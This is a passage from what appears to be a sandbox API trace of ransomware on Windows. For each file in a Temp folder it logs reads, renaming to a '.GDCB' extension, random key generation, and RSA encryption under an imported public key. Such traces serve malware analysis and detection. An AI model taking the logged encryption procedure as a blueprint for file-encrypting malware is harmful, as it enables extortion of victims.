[0176.006] GetLastError () returned 0x0 [0176.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-369m1wtptx1gbg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.009] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.009] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.010] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x12dd5, lpOverlapped=0x0) returned 1 [0176.015] VirtualAlloc (lpAddress=0x0, dwSize=0x12de0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.021] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-369m1wtptx1gbg.flv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-369m1wtptx1gbg.flv.gdcb")) returned 1 [0176.029] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0176.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.032] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.032] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.032] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.035] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.035] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.035] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0176.038] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654758) returned 1 [0176.038] CryptGetKeyParam (in: hKey=0x3654758, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.038] CryptEncrypt (in: hKey=0x3654758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.038] GetLastError () returned 0x0 [0176.038] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.038] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.041] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36546d8) returned 1 [0176.041] CryptGetKeyParam (in: hKey=0x36546d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.041] CryptEncrypt (in: hKey=0x36546d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.041] GetLastError () returned 0x0 [0176.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.041] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2vkr21jcyqf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.045] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.046] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.047] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x6e9b, lpOverlapped=0x0) returned 1 [0176.059] VirtualAlloc (lpAddress=0x0, dwSize=0x6ea0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.064] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2vkr21jcyqf.m4a"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2vkr21jcyqf.m4a.gdcb")) returned 1 [0176.070] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.072] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.072] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.072] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.072] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.074] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.074] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.074] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.077] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654a58) returned 1 [0176.077] CryptGetKeyParam (in: hKey=0x3654a58, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.077] CryptEncrypt (in: hKey=0x3654a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.078] GetLastError () returned 0x0 [0176.078] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.078] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.080] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654798) returned 1 [0176.080] CryptGetKeyParam (in: hKey=0x3654798, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.080] CryptEncrypt (in: hKey=0x3654798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.081] GetLastError () returned 0x0 [0176.081] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.081] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7myiu18itn_ngvpg0kx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.084] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.085] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.086] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x4dd7, lpOverlapped=0x0) returned 1 [0176.094] VirtualAlloc (lpAddress=0x0, dwSize=0x4de0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.099] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7myiu18itn_ngvpg0kx.flv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7myiu18itn_ngvpg0kx.flv.gdcb")) returned 1 [0176.105] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.108] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.108] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.108] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.109] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.110] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.110] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.110] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.110] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.112] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654598) returned 1 [0176.112] CryptGetKeyParam (in: hKey=0x3654598, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.112] CryptEncrypt (in: hKey=0x3654598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.112] GetLastError () returned 0x0 [0176.112] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.112] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.114] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654818) returned 1 [0176.114] CryptGetKeyParam (in: hKey=0x3654818, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.114] CryptEncrypt (in: hKey=0x3654818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.115] GetLastError () returned 0x0 [0176.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.115] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7_rurxyxmq2btctqr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.118] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.119] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.120] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x1937, lpOverlapped=0x0) returned 1 [0176.127] VirtualAlloc (lpAddress=0x0, dwSize=0x1940, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.133] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7_rurxyxmq2btctqr.mp3"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7_rurxyxmq2btctqr.mp3.gdcb")) returned 1 [0176.141] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.143] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.143] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.143] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.145] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.145] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.145] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.147] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654858) returned 1 [0176.147] CryptGetKeyParam (in: hKey=0x3654858, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.147] CryptEncrypt (in: hKey=0x3654858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.147] GetLastError () returned 0x0 [0176.147] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.147] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.149] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654898) returned 1 [0176.149] CryptGetKeyParam (in: hKey=0x3654898, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.149] CryptEncrypt (in: hKey=0x3654898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.149] GetLastError () returned 0x0 [0176.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.149] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9nnryomg21wnwn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.151] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.152] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.153] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0xbc58, lpOverlapped=0x0) returned 1 [0176.159] VirtualAlloc (lpAddress=0x0, dwSize=0xbc60, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.165] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9nnryomg21wnwn.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9nnryomg21wnwn.png.gdcb")) returned 1 [0176.173] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.175] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.175] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.176] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.177] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.178] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.178] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.178] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.178] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.181] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654b18) returned 1 [0176.181] CryptGetKeyParam (in: hKey=0x3654b18, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.181] CryptEncrypt (in: hKey=0x3654b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.181] GetLastError () returned 0x0 [0176.181] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.181] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.183] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36548d8) returned 1 [0176.183] CryptGetKeyParam (in: hKey=0x36548d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.183] CryptEncrypt (in: hKey=0x36548d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.183] GetLastError () returned 0x0 [0176.183] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.183] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.186] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.187] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.188] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x4d0, lpOverlapped=0x0) returned 1 [0176.192] VirtualAlloc (lpAddress=0x0, dwSize=0x4d0, flAllocationType=0x3000, 